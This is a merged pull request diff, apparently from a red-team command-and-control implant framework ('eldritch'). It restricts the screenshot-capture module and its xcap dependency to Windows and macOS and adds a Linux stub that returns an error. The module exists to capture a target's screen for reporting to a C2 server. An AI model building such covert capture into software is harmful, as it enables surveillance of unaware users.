Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions implants/lib/eldritch/stdlib/eldritch-libreport/Cargo.toml
Original file line number Diff line number Diff line change
Expand Up @@ -10,6 +10,7 @@ eldritch-agent = { workspace = true, optional = true }
pb = { workspace = true, optional = true }
nix = { workspace = true, optional = true }
spin = { version = "0.10.0", features = ["rwlock"] }
[target.'cfg(not(target_os = "linux"))'.dependencies]
xcap = { workspace = true, optional = true }
image = { version = "0.25", optional = true }

Expand Down
Original file line number Diff line number Diff line change
@@ -1,14 +1,18 @@
use alloc::format;
use alloc::string::{String, ToString};
use alloc::sync::Arc;
use alloc::vec::Vec;
use eldritch_agent::{Agent, Context};
use image::ImageFormat;
use pb::c2::report_file_request;
use pb::{c2, eldritch};
use std::io::Cursor;
use std::sync::Mutex;
use xcap::Monitor;

#[cfg(not(target_os = "linux"))]
use {
alloc::format,
alloc::string::{String, ToString},
alloc::vec::Vec,
image::ImageFormat,
pb::c2::report_file_request,
pb::{c2, eldritch},
std::io::Cursor,
std::sync::Mutex,
xcap::Monitor,
};

#[cfg(all(unix, feature = "stdlib"))]
fn get_hostname() -> String {
Expand All @@ -32,6 +36,14 @@ fn get_hostname() -> String {
"unknown".to_string()
}

#[cfg(target_os = "linux")]
pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
return Err(
"This OS isn't supported by the screenshot function.\nOnly windows and mac systems are supported".to_string()
);
}

#[cfg(not(target_os = "linux"))]
pub fn screenshot(agent: Arc<dyn Agent>, context: Context) -> Result<(), String> {
let monitors = Monitor::all().map_err(|e| e.to_string())?;

Expand Down
Loading